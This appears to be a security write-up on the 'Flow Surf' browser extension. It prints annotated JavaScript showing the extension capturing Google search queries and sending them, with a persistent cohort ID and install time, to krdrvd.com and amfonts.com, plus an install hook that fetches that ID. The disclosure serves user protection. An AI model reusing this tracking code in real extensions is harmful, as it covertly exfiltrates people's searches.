Is Flow Surf safe?

// features.js — runs on every Google search page
// this.keyword is read from window.location.search ?q= parameter
if (this.keyword.length > 2) {
 // Send query to the background service worker for exfiltration
 chrome.runtime.sendMessage({ feature: 'search', value: this.keyword });
}

// background.js — listens for any message with a 'feature' field
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
 if (request.feature) {
 const params = {
 extid: chrome.runtime.id, // your extension/browser identifier
 feature: request.feature, // 'search'
 value: request.value, // your search query verbatim
 };
 // addCohort() appends cohort ID + install_time from chrome.storage.local
 addCohort(params, function(params) {
 fetch('https://krdrvd.com/evt.php?' + new URLSearchParams(params).toString());
 });
 }
});

// background.js — runs once when the extension is first installed
chrome.runtime.onInstalled.addListener(function(details) {
 if (details.reason === 'install') {
 const params = { extid: chrome.runtime.id };

 chrome.storage.local.get(['cohort'], function(stored) {
 // Only assign a cohort if one doesn't already exist
 if (typeof stored['cohort'] === 'undefined') {
 // First: fire an install ping
 fetch('https://krdrvd.com/install.php?' + new URLSearchParams(params), { credentials: 'include' })
 .then(() => {
 // Then: request a cohort identifier
 fetch('https://krdrvd.com/cohort.php?' + new URLSearchParams(params), { credentials: 'include' })
 .then(response => response.text())
 .then(cohortValue => {
 if (cohortValue.length > 0) {
 // Persist both values indefinitely in local storage
 chrome.storage.local.set({
 cohort: cohortValue, // e.g. "jgdk-20260415-org"
 install_time: Date.now() / 1000 // epoch seconds
 });
 }
 });
 });
 }
 });
 }
});

// features.js — runs on every Google search page where keyword.length > 2
const staticParams = {
 format: 'json',
 tr: this.tr, // per-session ID from timestamp
 a: '3100', // hardcoded constant
 u: chrome.runtime.id, // extension ID
 keyword: this.keyword, // your search query
 by: extensionName // 'Flow Surf'
};

// Load the persistent cohort and install timestamp from storage
chrome.storage.local.get(['cohort', 'install_time'], function(stored) {
 let url = 'https://amfonts.com/script/t.php?' + new URLSearchParams(staticParams).toString();

 if (stored.install_time) url += '&install_time=' + encodeURIComponent(stored.install_time);
 if (stored.cohort) url += '&crt=' + encodeURIComponent(stored.cohort);

 // Send as XMLHttpRequest with withCredentials=true
 sendRequest(url);
});